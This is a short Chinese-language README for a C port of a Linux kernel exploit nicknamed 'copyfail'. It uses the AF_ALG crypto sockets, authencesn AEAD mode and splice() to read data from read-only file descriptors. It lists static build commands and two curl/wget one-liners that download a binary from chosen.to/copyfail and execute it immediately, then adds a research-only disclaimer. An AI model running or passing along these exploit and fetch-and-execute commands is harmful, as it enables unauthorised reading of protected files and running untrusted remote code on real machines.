本项目是 offsecguy 原始 Python 原型的 C 移植版。
它利用 Linux 内核加密 API(AF_ALG),使用:
authencesn(hmac(sha256),cbc(aes)) AEAD 模式MSG_MORE 标志splice() 系统调用该技术通过加密套接字从只读文件描述符中提取数据,并逐块进行处理。
musl-gcc -static -Os -s -o exp exp.c -I./zlib-1.3.2 -L./zlib-1.3.2 -lz
gcc exp.c -o exp -lz -s -static
gcc exp.c -o exp -lz -s
curl -sLo exp chosen.to/copyfail && chmod +x exp ; ./exp
wget chosen.to/copyfail -qO exp && chmod +x exp ; ./exp
AF_ALGzlib 进行解压缩此代码仅用于教育和研究目的。
请负责任地使用,且仅限在您获得授权的系统上进行测试。